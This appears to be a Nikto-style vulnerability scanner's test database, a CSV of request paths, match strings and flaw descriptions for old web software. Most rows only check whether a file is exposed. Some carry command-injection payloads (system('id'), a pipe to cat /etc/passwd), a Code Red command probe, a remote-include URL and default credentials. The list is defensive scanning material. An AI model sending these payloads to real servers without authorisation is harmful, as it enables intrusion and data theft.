"000070","0","8","/forumdisplay.php?GLOBALS[]=1&f=2&comma=\".system('id').\"","GET","uid=0","","","","","VBulletin forumdisplay.php remote command execution. BID-12542","","" "000071","0","8","/guestbook/guestbook.html","GET","Jason Maloney","","","","","Jason Maloney CGI Guestbook 3.0 allows remote code execution. Bugtraq 2003-12-01","","" "000072","0","8","/html/cgi-bin/cgicso?query=AAA","GET","400 Required field missing: fingerhost","","","","","This CGI allows attackers to execute remote commands.","","" "000073","0","9","/geeklog/users.php","GET","200","","","","","Geeklog prior to 1.3.8-1sr2 contain a SQL injection vulnerability that lets a remote attacker reset admin password.","","" "000074","0","a","/gb/index.php?login=true","GET","200","","","","","gBook may allow admin login by setting the value 'login' equal to 'true'.","","" "000075","0","a","/guestbook/admin.php","GET","200","","","","","Guestbook admin page available without authentication.","","" "000076","0","b","@CGIDIRSgH.cgi","GET","200","","","","","web backdoor by gH","","" "000077","0","b","@CGIDIRSgm-cplog.cgi","GET","200","","","","","GreyMatter log file defaults to mode 666 and contains login and passwords used to update the GM site. See http://www.attrition.org/~jericho/works/security/greymatter.html for more info.","","" "000078","0","b","/getaccess","GET","200","","","","","This may be an indication that the server is running getAccess for SSO","","" "000079","0","b","/help.html","GET","nice little interface into SPIKE","","","","","SPIKE Proxy may be running. Try using this port as a proxy, and see http://www.immunitysec.com/",".","" "000080","0","3b","@CGIDIRSgm.cgi","GET","200","","","","","GreyMatter blogger may reveal user ids/passwords through a gmrightclick-######.reg files (# are numbers), possibly in /archive or other archive location. See http://www.attrition.org/~jericho/works/security/greymatter.html for more info.","","" "000081","0","c","/filemanager/filemanager_forms.php","GET","200","","","","","Some versions of PHProjekt allow remote file inclusions. Verify the current version is running. See http://www.securiteam.com/unixfocus/5PP0F1P6KS.html for more info","","" "000082","0","1","@CGIDIRSAT-admin.cgi","GET","200","","","","","Admin interface...","","" "000083","0","23","@CGIDIRSauth_data/auth_user_file.txt","GET","200","","","","","The DCShop installation allows credit card numbers to be viewed remotely. See dcscripts.com for fix information.","","" "000084","0","23","@CGIDIRSawstats.pl","GET","Traffic","","","","","Free realtime logfile analyzer for advanced web statistics. Should be protected.","","" "000085","0","23","@CGIDIRSawstats/awstats.pl","GET","Traffic","","","","","Free realtime logfile analyzer for advanced web statistics. Should be protected.","","" "000086","0","23b","@CGIDIRSblog/mt.cfg","GET","configuration file","","","","","Movable Type configuration file found. Should not be available remotely.","","" "000087","0","3","@CGIDIRScart.pl?db='","GET","c:\",","","","","","Dansie Shopping Cart reveals the full path to the CGI directory.","","" "000088","0","3","@CGIDIRScart.pl?db='","GET","d:\",","","","","","Dansie Shopping Cart reveals the full path to the CGI directory.","","" "000089","292","3","@CGIDIRShtsearch?config=foofighter&restrict=&exclude=&method=and&format=builtin-long&sort=score&words=","GET","ht:\/\/Dig","","","","","The ht://Dig install may reveal the path to its configuration files, revealing sensitive information about the server.","","" "000090","0","3","@CGIDIRSmt-static/mt-check.cgi","GET","200","","","","","Movable Type weblog diagnostic script found. Reveals docroot path, operating system, perl version, and modules.","","" "000091","0","3","@CGIDIRSmt/mt-check.cgi","GET","200","","","","","Movable Type weblog diagnostic script found. Reveals docroot path, operating system, perl version, and modules.","","" "000092","0","3","/cfdocs/expeval/openfile.cfm","GET","200","","","","","Can use to expose the system/server path.","","" "000093","0","3","/index.php/123","GET","Premature end of script headers","","","","","Some versions of PHP reveal PHP's physical path on the server by appending /123 to the php file name.","","" "000094","7510","3","/mambo/index.php?Itemid=JUNK(5)","GET","exceeded in /","","","","","Mambo Site Server 4.0.11 reveals the web server path.","","" "000095","23654","3","/profile.php?u=JUNK(8)","GET","Warning:","","","","","Powerboards is vulnerable to path disclosure.","","" "000096","0","3","/ticket.php?id=99999","GET","expects first argument","","","","","ZenTrack from http://zentrack.phpzen.net/ versions v2.0.3, v2.0.2beta and older reveal the web root with certain errors.","","" "000097","0","3","/vgn/login/1,501,,00.html?cookieName=x--\>","GET","value=\"x--","","","","","Vignette server may leak memory with an invalid request. Upgrade to the latest version.","","" "000098","0","3","/a%5c.aspx","GET","Invalid file name for monitoring:","","","","","Older Microsoft .NET installations allow full path disclosure.","","" "000099","0","7","@CGIDIRSbanner.cgi","GET","200","","","","","This CGI may allow attackers to read any file on the system.","","" "000100","0","7","@CGIDIRSbannereditor.cgi","GET","200","","","","","This CGI may allow attackers to read any file on the system.","","" "000101","599","7","@CGIDIRSbook.cgi?action=default¤t=|cat%20/etc/passwd|&form_tid=996604045&prev=main.html&list_message_index=10","GET","root:","","","","","This CGI allows attackers to read arbitrary files on the server.","","" "000102","0","7","/admin/browse.asp?FilePath=c:\&Opt=2&level=0","GET","winnt","","","","","Hosting Controller from hostingcontroller.com allows any file on the system to be read remotely.","","" "000103","0","8","@CGIDIRSarchitext_query.pl","GET","200","","","","","Versions older than 1.1 of Excite for Web Servers allow attackers to execute arbitrary commands.","","" "000104","0","8","@CGIDIRSbizdb1-search.cgi","GET","200","","","","","This CGI may allow attackers to execute commands remotely. See http://www.hack.co.za/daem0n/cgi/cgi/bizdb.htm","","" "000105","0","b","@CGIDIRSblog/","GET","200","","","","","A blog was found. May contain security problems in CGIs, weak passwords, and more.","","" "000106","0","b","/tsweb/","GET","200","","","","","Microsoft TSAC found. http://www.dslwebserver.com/main/fr_index.html?/main/sbs-Terminal-Services-Advanced-Client-Configuration.html","","" "000107","0","1b","@CGIDIRSblog/mt-load.cgi","GET","200","","","","","Movable Type weblog installation CGI found. May be able to reconfigure or reload.","","" "000108","0","c","@CGIDIRSatk/javascript/class.atkdateattribute.js.php?config_atkroot=http://xxxxxxxxxx/","GET","http://xxxxxxxxxx/atk/","","","","","Achievo can be made to include php files from another domain. Upgrade to a new version.","","" "000109","0","23","/vgn/performance/TMT","GET","200","","","","","Vignette CMS admin/maintenance script available.","","" "000110","0","23","/vgn/performance/TMT/Report","GET","200","","","","","Vignette CMS admin/maintenance script available.","","" "000111","0","23","/vgn/performance/TMT/Report/XML","GET","200","","","","","Vignette CMS admin/maintenance script available.","","" "000112","0","23","/vgn/performance/TMT/reset","GET","200","","","","","Vignette CMS admin/maintenance script available.","","" "000113","0","23","/vgn/ppstats","GET","200","","","","","Vignette CMS admin/maintenance script available.","","" "000114","0","23","/vgn/previewer","GET","200","","","","","Vignette CMS admin/maintenance script available.","","" "000115","0","23","/vgn/record/previewer","GET","200","","","","","Vignette CMS admin/maintenance script available.","","" "000116","0","23","/vgn/stylepreviewer","GET","200","","","","","Vignette CMS admin/maintenance script available.","","" "000117","0","23","/vgn/vr/Deleting","GET","200","","","","","Vignette CMS admin/maintenance script available.","","" "000118","0","23","/vgn/vr/Editing","GET","200","","","","","Vignette CMS admin/maintenance script available.","","" "000119","0","23","/vgn/vr/Saving","GET","200","","","","","Vignette CMS admin/maintenance script available.","","" "000120","0","23","/vgn/vr/Select","GET","200","","","","","Vignette CMS admin/maintenance script available.","","" "000121","0","23","/scripts/iisadmin/bdir.htr","GET","200","","","","","This default script shows host info, may allow file browsing and buffer a overrun in the Chunked Encoding data transfer mechanism, request /scripts/iisadmin/bdir.htr??c:\<dirs> . MS02-028. CA-2002-09.","","" "000122","0","2a","/scripts/iisadmin/ism.dll","GET","200","","","","","allows you to mount a brute force attack on passwords","","" "000123","0","2a","/scripts/tools/ctss.idc","GET","200","","","","","This CGI allows remote users to view and modify SQL DB contents, server paths, docroot and more.","","" "000124","0","3","/bigconf.cgi","GET","200","","","","","BigIP Configuration CGI","","" "000125","0","3","/billing/billing.apw","GET","PASS BOX CAPTION:","","","","","CoffeeCup password wizzard allows password files to be read remotely.","","" "000126","0","3","/blah_badfile.shtml","GET","200","","","","","Allaire Coldfusion allows jsp source viewed through a vulnerable SSI call.","<!--#include virtual=\"/index.jsp\"-->","" "000127","0","3","/blah-whatever-badfile.jsp","GET","Script /","","","","","The web server is configured to respond with the web server path when requesting a non-existent .jsp file.","","" "000128","0","3","/vgn/style","GET","200","","","","","Vignette server may reveal system information through this file.","","" "000129","0","3","/scripts/no-such-file.pl","GET","perl script","","","","","Using perl.exe allows attacker to view host info. Use perlis.dll instead.","","" "000130","17653","3","/SiteServer/Admin/commerce/foundation/domain.asp","GET","200","","","","","Displays known domains of which that server is involved.","","" "000131","17654","3","/SiteServer/Admin/commerce/foundation/driver.asp","GET","200","","","","","Displays a list of installed ODBC drivers.","","" "000132","17655","3","/SiteServer/Admin/commerce/foundation/DSN.asp","GET","200","","","","","Displays all DSNs configured for selected ODBC drivers."," ","" "000133","17652","3","/SiteServer/admin/findvserver.asp","GET","200","","","","","Gives a list of installed Site Server components.","","" "000134","0","3","/SiteServer/Admin/knowledge/dsmgr/default.asp","GET","200","","","","","Used to view current search catalog configurations","","" "000135","0","4","@CGIDIRScgiwrap/%3Cfont%20color=red%3E","GET","<font color=red>","","","","","cgiwrap allows HTML and possibly XSS injection. See http://archives.neohapsis.com/archives/bugtraq/2001-07/0499.html for details.","","" "000136","0","4","@CGIDIRSmoin.cgi?test","GET","200","","","","","MoinMoin 1.1 and prior contain at least two XSS vulnerabilities. Version 1.0 and prior also contains a XSLT related vuln.","","" "000137","0","4","/autologon.html?10514","GET","200","","","","","Remotely Anywhere 5.10.415 is vulnerable to XSS attacks that can lead to cookie theft or privilege escalation. This is typically found on port 2000.","","" "000138","0","4","/basilix/mbox-list.php3","GET","200","","","","","BasiliX webmail application prior to 1.1.1 contains a XSS issue in 'message list' function/page","","" "000139","0","4","/basilix/message-read.php3","GET","200","","","","","BasiliX webmail application prior to 1.1.1 contains a XSS issue in 'read message' function/page","","" "000140","0","4","/clusterframe.jsp","GET","200","","","","","Macromedia Jrun 4 build 61650 remote administration interface is vulnerable to several XSS attacks.","","" "000141","0","4","/IlohaMail/blank.html","GET","200","","","","","IlohaMail 0.8.10 contains a XSS vulnerability. Previous versions contain other non-descript vulnerabilities.","","" "000142","0","8","/bb-dnbd/faxsurvey","GET","200","","","","","This may allow arbitrary command execution.","","" "000143","0","8","/cartcart.cgi","GET","200","","","","","If this is Dansie shopping cart 3.0.8 or earlier, it contains a backdoor to allow attackers to execute arbitrary commands.","","" "000144","0","8","/scripts/Carello/Carello.dll","GET","200","","","","","Carello 1.3 may allow commands to be executed on the server by replacing hidden form elements. This could not be tested by Nikto.","","" "000145","0","a","/scripts/tools/dsnform.exe","GET","200","","","","","Allows creation of ODBC Data Source","","" "000146","0","a","/scripts/tools/dsnform","GET","200","","","","","Allows creation of ODBC Data Source","","" "000147","17656","a","/SiteServer/Admin/knowledge/dsmgr/users/GroupManager.asp","GET","200","","","","","Used to create, modify, and potentially delete LDAP users and groups.","","" "000148","17657","a","/SiteServer/Admin/knowledge/dsmgr/users/UserManager.asp","GET","200","","","","","Used to create, modify, and potentially delete LDAP users and groups.","","" "000149","0","b","/prd.i/pgen/","GET","200","","","","","has MS Merchant Server 1.0","","" "000150","0","b","/readme.eml","GET","200","","","","","Remote server may be infected with the Nimda virus.","","" "000151","0","b","/scripts/httpodbc.dll","GET","200","","","","","Possible IIS backdoor found.","","" "000152","0","b","/scripts/proxy/w3proxy.dll","GET","502","","","","","MSProxy v1.0 installed","","" "000153","0","b","/scripts/root.exe?/c+dir+c:\+/OG","GET","Directory of c","","","","","This machine is infected with Code Red, or has Code Red leftovers.","","" "000154","0","b","/SiteServer/admin/","GET","403","","","","","SiteServer components admin. Default account may be 'LDAP_Anonymous', pass is 'LdapPassword_1'. see http://www.wiretrip.net/rfp/p/doc.asp/i1/d69.htm","","" "000155","0","1","/siteseed/","GET","200","","","","","Siteseed pre 1.4.2 has 'major' security problems.","","" "000156","0","2","/scripts/samples/search/author.idq","GET","The template file can not be found in the location specified","","","","","This is a default IIS script/file which should be removed. MS01-033.","","" "000157","0","2","/scripts/samples/search/filesize.idq","GET","The template file can not be found in the location specified","","","","","This is a default IIS script/file which should be removed. MS01-033.","","" "000158","0","2","/scripts/samples/search/filetime.idq","GET","The template file can not be found in the location specified","","","","","This is a default IIS script/file which should be removed. MS01-033.","","" "000159","0","2","/scripts/samples/search/queryhit.idq","GET","The template file can not be found in the location specified","","","","","This is a default IIS script/file which should be removed. MS01-033.","","" "000160","0","2","/scripts/samples/search/simple.idq","GET","The template file can not be found in the location specified","","","","","This is a default IIS script/file which should be removed. MS01-033.","","" "000161","0","23","/pccsmysqladm/incs/dbconnect.inc","GET","200","","","","","This file should not be accessible, as it contains database connectivity information. Upgrade to version 1.2.5 or higher.","","" "000162","0","23","/iisadmin/","GET","200","","","is restricted to Localhost","","Access to /iisadmin should be restricted to localhost or allowed hosts only.","","" "000163","0","3","/password.inc","GET","globalpw","","","","","GTCatalog 0.9 admin password was retrieved remotely.","","" "000164","0","3","/PDG_Cart/oder.log","GET","200","","","","","Shopping cart software log","","" "000165","0","3","/web-console/ServerInfo.jsp%00","GET","<%=","","","","","jboss 3.2.1 with jetty seems to disclose source code.","","" "000166","0","3","/global.asa","GET","RUNAT","","","","","The global.asa file was retrieved, which may contain sensitive information. Map the .asa extension to the proper dll.","","" "000167","0","23","/exchange/lib/AMPROPS.INC","GET","Logon functions","","","","","Outlook Web Access server allows source code to be viewed by requesting the file directly from /exchange/lib/","","" "000168","0","23","/exchange/lib/DELETE.INC","GET","deleting objects","","","","","Outlook Web Access server allows source code to be viewed by requesting the file directly from /exchange/lib/","","" "000169","0","23","/exchange/lib/GETREND.INC","GET","GetRenderer functions","","","","","Outlook Web Access server allows source code to be viewed by requesting the file directly from /exchange/lib/","","" "000170","0","23","/exchange/lib/GETWHEN.INC","GET","functions to construct","","","","","Outlook Web Access server allows source code to be viewed by requesting the file directly from /exchange/lib/","","" "000171","0","23","/exchange/lib/JSATTACH.INC","GET","Attachment Javascript","","","","","Outlook Web Access server allows source code to be viewed by requesting the file directly from /exchange/lib/","","" "000172","0","23","/exchange/lib/JSROOT.INC","GET","Javascript Functions","","","","","Outlook Web Access server allows source code to be viewed by requesting the file directly from /exchange/lib/","","" "000173","0","23","/exchange/lib/JSUTIL.INC","GET","Common Javascript","","","","","Outlook Web Access server allows source code to be viewed by requesting the file directly from /exchange/lib/","","" "000174","0","23","/exchange/lib/LANG.INC","GET","localized strings","","","","","Outlook Web Access server allows source code to be viewed by requesting the file directly from /exchange/lib/","","" "000175","0","23","/exchange/lib/logon.inc","GET","Logon functions","","","","","Outlook Web Access server allows source code to be viewed by requesting the file directly from /exchange/lib/","","" "000176","0","23","/exchange/lib/PAGEUTIL.INC","GET","functions that help","","","","","Outlook Web Access server allows source code to be viewed by requesting the file directly from /exchange/lib/","","" "000177","0","23","/exchange/lib/PUBFLD.INC","GET","Anonymous Published","","","","","Outlook Web Access server allows source code to be viewed by requesting the file directly from /exchange/lib/","","" "000178","0","23","/exchange/lib/RENDER.INC","GET","Rendering functions","","","","","Outlook Web Access server allows source code to be viewed by requesting the file directly from /exchange/lib/","","" "000179","0","23","/exchange/lib/SESSION.INC","GET","Session Management","","","","","Outlook Web Access server allows source code to be viewed by requesting the file directly from /exchange/lib/","","" "000180","0","5","/ows/restricted%2eshow","GET","200","","","","","OWS may allow restricted files to be viewed by replacing a character with its encoded equivalent.","","" "000181","0","5","/WEB-INF./web.xml","GET","200","","","","","Multiple implementations of j2ee servlet containers allow files to be retrieved from WEB-INF by appending a '.' to the directory name. Products include Sybase EA Service, Oracle Containers, Orion, JRun, HPAS, Pramati and others. See http://www.westpoint.l","","" "000182","0","7","/view_source.jsp","GET","200","License Exception","","","","Resin 2.1.2 view_source.jsp allows any file on the system to be viewed by using \..\ directory traversal. This script may be vulnerable.","","" "000183","0","8","/w-agora/","GET","200","","","","","w-agora pre 4.1.4 may allow a remote user to execute arbitrary PHP scripts via URL includes in include/*.php and user/*.php files. Default account is 'admin' but password set during install.","","" "000184","0","a","/vider.php3","GET","200","","","","","MySimpleNews may allow deleting of news items without authentication.","","" "000185","0","a","/exchange/root.asp?acs=anon","GET","/exchange/logonfrm.asp","","","","","This allows anonymous access to portions of the OWA server. http://support.microsoft.com/support/exchange/content/whitepapers/owaguide.doc","","" "000186","0","a","/officescan/cgi/cgiChkMasterPwd.exe","GET","200","","","","","Trend Officescan allows you to skip the login page and access soem CGI programs directly.","","" "000187","0","b","/%NETHOOD%/","GET","Microsoft Windows Network","","","","","The machine may be infected with the Bugbear.B virus. http://www.f-secure.com/v-descs/bugbear_b.shtml","","" "000188","0","d","@CGIDIRSastrocam.cgi","GET","200","","","","","Astrocam 1.4.1 contained buffer overflow BID-4684. Prior to 2.1.3 contained unspecified security bugs","","" "000189","0","d","@CGIDIRSbadmin.cgi","GET","200","","","","","BannerWheel v1.0 is vulnerable to a local buffer overflow. If this is version 1.0 it should be upgrade.","","" "000190","0","d","@CGIDIRSboozt/admin/index.cgi?section=5&input=1","GET","200","","","","","Boozt CGI may have a buffer overflow. Upgrade to a version new than 0.9.8alpha.","","" "000191","0","d","@CGIDIRSezadmin.cgi","GET","200","","","","","Some versions of this CGI are vulnerable to a buffer overflow.","","" "000192","0","d","@CGIDIRSezboard.cgi","GET","200","","","","","Some versions of this CGI are vulnerable to a buffer overflow.","","" "000193","0","d","@CGIDIRSezman.cgi","GET","200","","","","","Some versions of this CGI are vulnerable to a buffer overflow.","","" "000194","0","d","@CGIDIRSfoxweb.dll","GET","200","","","","","Foxweb 2.5 and below is vulnerable to a buffer overflow (not tested or confirmed). Verify Foxweb is the latest available version.","","" "000195","0","d","@CGIDIRSfoxweb.exe","GET","200","","","","","Foxweb 2.5 and below is vulnerable to a buffer overflow (not tested or confirmed). Verify Foxweb is the latest available version.","","" "000196","0","d","@CGIDIRSmgrqcgi","GET","200","","","","","This CGI from Magic Enterprise 8.30-5 and earlier are vulnerable to multiple buffer overflows. Upgrade to 9.x.","","" "000197","0","d","@CGIDIRSwconsole.dll","GET","200","","","","","It may be possible to overflow this dll with 1024 bytes of data.","","" "000198","0","d","@CGIDIRSwebplus.exe?about","GET","Product Information","","","","","Webplus may divulge product information, including version numbers. Version 4.X and below have a file read vulnerability. Vers prior to 4.6 build 561 and 5.0 build 554 have a buffer overflow.","","" "000199","0","d","/pbserver/pbserver.dll","GET","200","","","","","This may contain a buffer overflow. http://www.microsoft.com/technet/security/bulletin/ms00-094.asp","","" "000200","0","0","/administrator/gallery/uploadimage.php","GET","200","","","","","Mambo PHP Portal/Server 4.0.12 BETA and below may allow upload of any file type simply putting '.jpg' before the real file extension.","","" "000201","0","0","/pafiledb/includes/team/file.php","GET","200","","","","","paFileDB 3.1 and below may allow file upload without authentication.","","" "000202","0","0","/phpEventCalendar/file_upload.php","GET","200","","","","","phpEventCalendar 1.1 and prior vulnerable to file upload bug.","","" "000203","0","0","/servlet/com.unify.servletexec.UploadServlet","GET","200","Error Occurred","","","","This servlet allows attackers to upload files to the server.","","" "000204","0","0","/cgi-win/uploader.exe","GET","200","","","","","This CGI allows attackers to upload files to the server and then execute them.","","" "000205","0","0","/scripts/cpshost.dll","GET","200","","","","","posting acceptor...possibly allows you to upload files","","" "000206","0","0","/scripts/repost.asp","GET","Here is your upload status","","","","","This allows uploads to /users. Create /users and give web user read only access.","","" "000207","0","0","/upload.asp","GET","200","","","","","An ASPpage that allows attackers to upload files to server","","" "000208","0","0","/uploadn.asp","GET","200","","","","","An ASPpage that allows attackers to upload files to server","","" "000209","0","0","/uploadx.asp","GET","200","","","","","An ASPpage that allows attackers to upload files to server","","" "000210","0","0","/wa.exe","GET","200","","","","","An ASPpage that allows attackers to upload files to server","","" "000211","0","1","/basilix/compose-attach.php3","GET","200","","","","","BasiliX webmail application prior to 1.1.1 contains non descript security vulnerability in compose-attach.php3 related to attachment uploads","","" "000212","0","1","/server/","GET","200","","","","","If port 8000, Macromedia Jrun 4 build 61650 remote administration interface is vulnerable to several XSS attacks.","","" "000213","0","1","@CGIDIRSfpsrvadm.exe","GET","200","","","","","Potentially vulnerable CGI program.","","" "000214","0","1b","/siteminder/smadmin.html","GET","Admin Login","","","","","SiteMinder admin login page available.","","" "000215","0","1b","/vgn/ac/data","GET","200","","","","","Vignette CMS admin/maintenance script available.","","" "000216","0","1b","/vgn/ac/delete","GET","200","","","","","Vignette CMS admin/maintenance script available.","","" "000217","0","1b","/vgn/ac/edit","GET","200","","","","","Vignette CMS admin/maintenance script available.","","" "000218","0","1b","/vgn/ac/esave","GET","200","","","","","Vignette CMS admin/maintenance script available.","","" "000219","0","1b","/vgn/ac/fsave","GET","200","","","","","Vignette CMS admin/maintenance script available.","","" "000220","0","1b","/vgn/ac/index","GET","200","","","","","Vignette CMS admin/maintenance script available.","","" "000221","0","1b","/vgn/asp/MetaDataUpdate","GET","200","","","","","Vignette CMS admin/maintenance script available.","","" "000222","0","1b","/vgn/asp/previewer","GET","200","","","","","Vignette CMS admin/maintenance script available.","","" "000223","0","1b","/vgn/asp/status","GET","200","","","","","Vignette CMS admin/maintenance script available.","","" "000224","0","1b","/vgn/asp/style","GET","200","","","","","Vignette CMS admin/maintenance script available.","","" "000225","0","1b","/vgn/errors","GET","200","","","","","Vignette CMS admin/maintenance script available.","","" "000226","0","1b","/vgn/jsp/controller","GET","200","","","","","Vignette CMS admin/maintenance script available.","","" "000227","0","1b","/vgn/jsp/errorpage","GET","200","","","","","Vignette CMS admin/maintenance script available.","","" "000228","0","1b","/vgn/jsp/initialize","GET","200","","","","","Vignette CMS admin/maintenance script available.","","" "000229","0","1b","/vgn/jsp/jspstatus","GET","200","","","","","Vignette CMS admin/maintenance script available.","","" "000230","0","1b","/vgn/jsp/jspstatus56","GET","200","","","","","Vignette CMS admin/maintenance script available.","","" "000231","0","1b","/vgn/jsp/metadataupdate","GET","200","","","","","Vignette CMS admin/maintenance script available.","","" "000232","0","1b","/vgn/jsp/previewer","GET","200","","","","","Vignette CMS admin/maintenance script available.","","" "000233","0","1b","/vgn/jsp/style","GET","200","","","","","Vignette CMS admin/maintenance script available.","","" "000234","0","1b","/vgn/legacy/edit","GET","200","","","","","Vignette CMS admin/maintenance script available.","","" "000235","0","1b","/vgn/login","GET","200","","","","","Vignette server may allow user enumeration based on the login attempts to this file.","","" "000236","0","2","/webtop/wdk/samples/index.jsp","GET","WDK Fusion Samples","","","","","Documentum Webtop Example Code","","" "000237","0","2","@CGIDIRS.cobalt","GET","200","","","","","May allow remote admin of CGI scripts.","","" "000238","0","2","/WEB-INF/web.xml","GET","web-app","","","","","JRUN default file found.","","" "000239","35707","23","/forum/admin/wwforum.mdb","GET","200","","","","","Web Wiz Forums password database found.","","" "000240","0","23","/fpdb/shop.mdb","GET","200","","","","","MetaCart2 is an ASP shopping cart. The database of customers is available via the web."," ","" "000241","0","23","/guestbook/admin/o12guest.mdb","GET","200","","","","","Ocean12 ASP Guestbook Manager allows download of SQL database which contains admin password.","","" "000242","0","23","/midicart.mdb","GET","200","","","","","MIDICART database is available for browsing. This should not be allowed via the web server.","","" "000243","0","23","/MIDICART/midicart.mdb","GET","200","","","","","MIDICART database is available for browsing. This should not be allowed via the web server.","","" "000244","0","23","/mpcsoftweb_guestbook/database/mpcsoftweb_guestdata.mdb","GET","200","","","","","MPCSoftWeb Guest Book passwords retrieved.","","" "000245","0","23","/news/news.mdb","GET","200","","","","","Web Wiz Site News realease v3.06 admin password database is available and unencrypted.","","" "000246","0","23","/newuser?Image=../../database/rbsserv.mdb","GET","SystemErrorsPerHour","","","","","The Extent RBS ISP 2.5 allows attackers to read arbitrary files on the server.","","" "000247","0","23","/shopdbtest.asp","GET","xDatabase","","","","","VP-ASP shopping cart test application is available from the web. This page gives the location of .mdb files which may also be available (xDatabase).","","" "000248","0","23","/shopping300.mdb","GET","200","","","","","VP-ASP shopping cart application allows .mdb files (which may include customer data) to be downloaded via the web. These should not be available.","","" "000249","0","23","/shopping400.mdb","GET","200","","","","","VP-ASP shopping cart application allows .mdb files (which may include customer data) to be downloaded via the web. These should not be available.","","" "000250","0","23","/shoppingdirectory/midicart.mdb","GET","200","","","","","MIDICART database is available for browsing. This should not be allowed via the web server.","","" "000251","0","23","/SilverStream/Meta/Tables/?access-mode=text","GET","_DBProduct","","","","","The SilverStream database structure is available for remote viewing.","","" "000252","0","23","/database/db2000.mdb","GET","200","","","","","Max Web Portal database is available remotely. It should be moved from the default location to a directory outside the web root.","","" "000253","0","28","@CGIDIRSmailit.pl","GET","200","","","","","Sambar may allow anonymous email to be sent from any host via this CGI.","","" "000254","0","3","/cgi-bin/search","GET","=sourcedir","","","","","Apache Stronghold 3.0 may reveal the web root in the source of this CGI ('sourcedir' value).","","" "000255","0","3","/doc/webmin.config.notes","GET","login and password","","","","","Webmin config file found, may contain Webmin ID/Password. Typically runs on port 10000.","","" "000256","0","3","/error/HTTP_NOT_FOUND.html.var","GET","Available variants","","","","","Apache reveals file system paths when invalid error documents are requested.","","" "000257","0","3","/oem_webstage/cgi-bin/oemapp_cgi","GET","This script","","","","","Oracle reveals the CGI source by prepending /oem_webstage to CGI urls.","","" "000258","0","3","@ADMINconfig.php","GET","200","","","","","PHP Config file may contain database IDs and passwords.","","" "000259","0","3","@CGIDIRS.access","GET","200","","","","","Contains authorization information","","" "000260","0","3","@CGIDIRS%2e%2e/abyss.conf","GET","200","","","","","The Abyss configuration file was successfully retrieved. Upgrade with the latest version/patches for 1.0 from http://www.aprelium.com/","","" "000261","0","3","@CGIDIRSdata/fetch.php?page=","GET","mysql_num_rows","","","","","StellarDocs allows remote users to see file system paths. BID-8385.","","" "000262","0","3","@CGIDIRSempower?DB=whateverwhatever","GET","db name whateverwhatever of directory /","","","","","This CGI allows attackers to learn the full system path to your web directory.","","" "000263","0","3","@CGIDIRSmrtg.cgi?cfg=blah","GET","Cannot find the given config file","","","","","Multi Router Traffic Grapher (mrtg.org) reveals system paths when an invalid config file is specified. Software should be upgraded to the latest version.","","" "000264","0","3","@CGIDIRSstore/agora.cgi?page=whatever33.html","GET","FILE:","","","","","Agora.cgi gives detailed error messages including file system paths.","","" "000265","0","3","/?mod=node&nid=some_thing&op=view","GET","/node.module.php","","","","","Sage 1.0b3 may reveal system paths with invalid module names.","","" "000266","0","3","/?mod=some_thing&op=browse","GET","in /","","","","","Sage 1.0b3 reveals system paths with invalid module names.","","" "000267","0","3","/article.php?article=4965&post=1111111111","GET","Unable to jump to row","","","","","PHP FirstPost can reveal MySQL errors and file system paths if invalid posts are sent.","","" "000268","0","3","/blah123.php","GET","Failed opening ","","","","","PHP is configured to give descriptive error messages which can reveal file system paths.","","" "000269","0","3","/categorie.php3?cid=june","GET","Unable to jump to row","","","","","Black Tie Project (BTP) can reveal MySQL errors and file system paths if an invalid cid is sent.","","" "000270","3233","3","/CFIDE/probe.cfm","GET","coldfusion.tagext.lang","","","","","Cold Fusion file probe.cfm reveals system information, such as the path to the web server. In the 'Debugging Settings' page in the Administrator console, suppress the installation path displayed in error messages by selecting 'Enable Robust Exception Info","","" "000271","0","3","/contents.php?new_language=elvish&mode=select","GET","200","","","","","Requesting a file with an invalid language selection from DC Portal may reveal the system path.","","" "000272","0","3","/download.php?op=viewdownload","GET","Failed opening","","","","","PHPNuke allows file system paths to be revealed.","","" "000273","0","3","/download.php?op=viewdownload","GET","Fatal error","","","","","PHPNuke allows file system paths to be revealed.","","" "000274","0","3","/examples/basic/servlet/HelloServlet","GET","The source of this servlet is in","","","","","Caucho Resin from http://www.caucho.com/ reveals file system paths with a default servlet.","","" "000275","0","3","/home.php?arsc_language=elvish","GET","Failed opening '","","","","","ARSC Really Simple Chat can reveal file system paths if an invalid language name is specified.","","" "000276","0","3","/hostadmin/?page='","GET","C:\",","","","","","Host Admin reveals install location and other sensitive information.","","" "000277","0","3","/hostadmin/?page='","GET","D:\",","","","","","Host Admin reveals install location and other sensitive information.","","" "000278","0","3","/index.php?file=index.php","GET","Fatal error:","","","","","PHPNuke 5.4 allows file system paths to be shown in error messages.","","" "000279","0","3","/jgb_eng_php3/cfooter.php3","GET","Fatal error","","","","","Justice Guestbook may reveal file system paths in error messages.","","" "000280","0","3","/JUNK(5).csp","GET","File not found: /","","","","","Invalid files with .csp extension reveal the file system path to the web root.","","" "000281","0","3","/modules.php?name=Downloads&d_op=viewdownload","GET","Failed opening","","","","","PHPNuke allows file system paths to be revealed.","","" "000282","0","3","/modules.php?name=Downloads&d_op=viewdownload","GET","Fatal error","","","","","PHPNuke allows file system paths to be revealed.","","" "000283","0","3","/modules.php?op=modload&name=0&file=0","GET","Failed opening ","","","","","PHP Nuke is configured to give descriptive error messages which can reveal file system paths.","","" "000284","0","3","/modules.php?op=modload&name=Sections&file=index&req=viewarticle&artid=","GET","non-object in","","","","","Postnuke v0.7.2.3-Phoenix and below reveal the file system path.","","" "000285","0","3","/modules.php?op=modload&name=Web_Links&file=index&l_op=viewlink","GET","Failed opening ","","","","","PHP Nuke is configured to give descriptive error messages which can reveal file system paths.","","" "000286","0","3","/path/nw/article.php?id='","GET","c:/","","","","","News Wizard 2.0 reveals the file system path.","","" "000287","0","3","/path/nw/article.php?id='","GET","d:/","","","","","News Wizard 2.0 reveals the file system path.","","" "000288","0","3","/pw/storemgr.pw","GET","200","","","","","Encrypted ID/Pass for Mercantec's SoftCart, http://www.mercantec.com/, see http://www.mindsec.com/advisories/post2.txt for more information.","","" "000289","0","3","/rtm.log","GET","HttpPost Retry","","","","","Rich Media's JustAddCommerce allows retrieval of a log file, which may contain sensitive information.","","" "000290","0","3","/scozbook/view.php?PG=whatever","GET","Warning","","","","","ScozBook Beta 1.1 may reveal file system paths in error messages.","","" "000291","0","3","/servlet/com.livesoftware.jrun.plugins.ssi.SSIFilter","GET","200","Error Occurred","","","","Allaire Coldfusion allows jsp source viewed through a vulnerable SSI call.","<!--#include virtual=\"/index.jsp\"-->","" "000292","0","3","/shopa_sessionlist.asp","GET","200","","","","","VP-ASP shopping cart test application is available from the web. This page may give the location of .mdb files which may also be available.","","" 